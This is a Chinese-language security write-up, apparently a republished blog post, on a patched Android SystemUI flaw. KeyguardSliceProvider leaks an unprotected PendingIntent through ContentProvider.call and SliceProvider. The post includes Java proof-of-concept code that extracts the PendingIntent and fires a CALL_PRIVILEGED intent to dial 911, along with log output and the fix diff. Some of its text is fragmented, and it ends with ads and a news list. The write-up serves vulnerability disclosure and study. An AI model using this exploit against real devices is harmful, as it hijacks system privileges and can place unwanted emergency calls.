Android的特殊攻击面(三)——隐蔽的call函数
0x00 简介
call
。0x01 ContentProvider call
public Bundle call (String method, String arg, Bundle extras) Bundle extras)```
query/insert/delete
等函数不同,call提供了一种针对Provider的直接操作接口,支持传入的参数分别为:方法、String类型的参数和Bundle类型的参数,并返回给调用者一个Bundle 类型的参数。0x02 双无PendingIntent
```java
public boolean onCreateSliceProvider() {
...
mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
...
}
return true;
}
```
0x03 SliceProvider
content://android.settings.slices/action/toggle_nfc
这个URI共享给别的应用使用,用户不必打开Settings,就可以在其他应用界面中对NFC开关进行操作。除了显示文字和图标,上述界面也包含两个action:点击文字:跳转到Settings中的NFC设置界面; 点击按钮:直接打开或关闭NFC选项。
```java
@Override
public Bundle call(String method, String arg, Bundle extras) {
if (method.equals(METHOD_SLICE)) {
Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
extras.getParcelable(EXTRA_BIND_URI)));
List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
String callingPackage = getCallingPackage();
int callingUid = Binder.getCallingUid();
int callingPid = Binder.getCallingPid();
Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
Bundle b = new Bundle();
b.putParcelable(EXTRA_SLICE, s);
return b;
} else if (method.equals(METHOD_MAP_INTENT)) {
...
} else if (method.equals(METHOD_MAP_ONLY_INTENT)) {
...
} else if (method.equals(METHOD_PIN)) {
...
} else if (method.equals(METHOD_UNPIN)) {
...
} else if (method.equals(METHOD_GET_DESCENDANTS)) {
...
} else if (method.equals(METHOD_GET_PERMISSIONS)) {
...
}
return super.call(method, arg, extras);
}
```
SliceProvider.handleBindSlice-->onBindSliceStrict-->onBindSlice
,中间若通过了Slice访问的权限检查,最终就会进入onBindSlice方法,在SliceProvder中这个方法为空,因此具体实现在派生SliceProvider的子类。0x04 KeyguardSliceProvider
```xml
<provider android:name=".keyguard.KeyguardSliceProvider"
android:authorities="com.android.systemui.keyguard"
android:grantUriPermissions="true"
android:exported="true">
</provider>
```
content://com.android.systemui.keyguard
使用call函数,传入METHOD_SLICE,最终进入下面的onBindSlice方法。```java
@AnyThread
@Override
public Slice onBindSlice(Uri sliceUri) {
Trace.beginSection("KeyguardSliceProvider#onBindSlice");
Slice slice;
synchronized (this) {
ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
if (needsMediaLocked()) {
addMediaLocked(builder);
} else {
builder.addRow(new RowBuilder(mDateUri).setTitle(mLastText));
}
addNextAlarmLocked(builder);
addZenModeLocked(builder);
addPrimaryActionLocked(builder);
slice = builder.build();
}
Trace.endSection();
return slice;
}
```
```java
protected void addPrimaryActionLocked(ListBuilder builder) {
// Add simple action because API requires it; Keyguard handles presenting
// its own slices so this action + icon are actually never used.
IconCompat icon = IconCompat.createWithResource(getContext(),
R.drawable.ic_access_alarms_big);
SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon,
ListBuilder.ICON_IMAGE, mLastText);
RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
.setPrimaryAction(action);
builder.addRow(primaryActionRow);
}
```
mPendingIntent
,也就是我们在前文所说的那个双无PendingIntent,该对象会被层层包裹到call函数返回的Slice对象中。因此,通过call函数,经过SliceProvider与KeyguardSliceProvider,有可能拿到SystemUI 生成的一个双无PendingIntent。0x05 SliceProvider授权
```java
final static String uriKeyguardSlices = "content://com.android.systemui.keyguard";
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
private Bundle prepareReqBundle() {
Bundle b = new Bundle();
b.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices));
ArrayList<Parcelable> supportedSpecs = new ArrayList<Parcelable>();
supportedSpecs.add(new SliceSpec("androidx.app.slice.LIST", 1));
supportedSpecs.add(new SliceSpec("androidx.slice.LIST", 1));
supportedSpecs.add(new SliceSpec("androidx.app.slice.BASIC", 1));
b.putParcelableArrayList("supported_specs", supportedSpecs);
return b;
}
```
```shell
05-30 08:31:02.306 11449 11449 D pi : slice:
05-30 08:31:02.306 11449 11449 D pi : image
05-30 08:31:02.306 11449 11449 D pi : text: testAOSPSytemUIKeyguardSliceProvider wants to show System UI slices
05-30 08:31:02.306 11449 11449 D pi : int
05-30 08:31:02.306 11449 11449 D pi : slice:
05-30 08:31:02.306 11449 11449 D pi : image
05-30 08:31:02.306 11449 11449 D pi : action
```
```java
private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
String callingPkg, int callingUid, int callingPid) {
// This can be removed once Slice#bindSlice is removed and everyone is using
// SliceManager#bindSlice.
String pkg = callingPkg != null ? callingPkg
: getContext().getPackageManager().getNameForUid(callingUid);
try {
mSliceManager.enforceSlicePermission(sliceUri, pkg,
callingPid, callingUid, mAutoGrantPermissions);
} catch (SecurityException e) {
return createPermissionSlice(getContext(), sliceUri, pkg);
}
```
```java
public Slice createPermissionSlice(Context context, Uri sliceUri,
String callingPackage) {
PendingIntent action;
mCallback = "onCreatePermissionRequest";
Handler.getMain().postDelayed(mAnr, SLICE_BIND_ANR);
try {
action = onCreatePermissionRequest(sliceUri);
} finally {
Handler.getMain().removeCallbacks(mAnr);
}
```
```java
/**
* @hide
*/
public static PendingIntent createPermissionIntent(Context context, Uri sliceUri,
String callingPackage) {
Intent intent = new Intent(SliceManager.ACTION_REQUEST_SLICE_PERMISSION);
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
intent.putExtra(EXTRA_BIND_URI, sliceUri);
intent.putExtra(EXTRA_PKG, callingPackage);
intent.putExtra(EXTRA_PROVIDER_PKG, context.getPackageName());
// Unique pending intent.
intent.setData(sliceUri.buildUpon().appendQueryParameter("package", callingPackage)
.build());
return PendingIntent.getActivity(context, 0, intent, 0);
}
```
```java
Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices);
intent.putExtra("slice_uri", uri);
intent.putExtra("pkg", getPackageName());
intent.putExtra("provider_pkg", "com.android.systemui");
startActivity(intent);
```
0x06 PendingIntent劫持题
```shell
sargo:/data/system/slice # logcat -s pi
--------- beginning of main
05-30 10:40:52.956 12871 12871 D pi : long
05-30 10:40:52.956 12871 12871 D pi : slice:
05-30 10:40:52.956 12871 12871 D pi : text: Sat, May 30
05-30 10:40:52.956 12871 12871 D pi : slice:
05-30 10:40:52.956 12871 12871 D pi : action
05-30 10:40:52.956 12871 12871 D pi : long
```
`PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();`
```java
Bundle responseBundle = getContentResolver().call(Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
Slice slice = responseBundle.getParcelable("slice");
Log.d("pi", slice.toString());
PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction();
Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:911"));
try {
pi.send(getApplicationContext(), 0, evilIntent, null, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
```
0x07 修复
```java
- mPendingIntent = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
+ mPendingIntent = PendingIntent.getActivity(getContext(), 0,
+ new Intent(getContext(), KeyguardSliceProvider.class), 0);
```
0x08 参考
[1] https://source.android.com/security/bulletin/2020-06-01
[2] http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html
[3[https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String,%20java.lang.String,%20java.lang.String,%20android.os.Bundle)](https://developer.android.com/reference/android/content/ContentProvider#call(java.lang.String, java.lang.String, java.lang.String, android.os.Bundle))
[4] https://bitbucket.org/secure-it-i/android-app-vulnerability-benchmarks/src/master/ICC/WeakChecksOnDynamicInvocation-DataInjection-Lean/
[5] https://developer.android.com/guide/slices
[6] https://proandroiddev.com/android-jetpack-android-slices-introduction-cf0ce0f3e885
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 澳门是伟大祖国的一方宝地 7973470
- 2 女子遭老板性侵后被公司开除 7945810
- 3 日本火山喷发灰柱高达3400米 7864407
- 4 2024 向上的中国 7773082
- 5 肖战新片射雕英雄传郭靖造型曝光 7686462
- 6 男子钓上一条自带“赎金”的鱼 7548284
- 7 胡锡进与你聊聊2024 7492951
- 8 赵丽颖带儿子探班 7304877
- 9 80岁顶级富豪再婚娶33岁华裔妻子 7294035
- 10 美国女子在地铁上被男子点燃身亡 7131411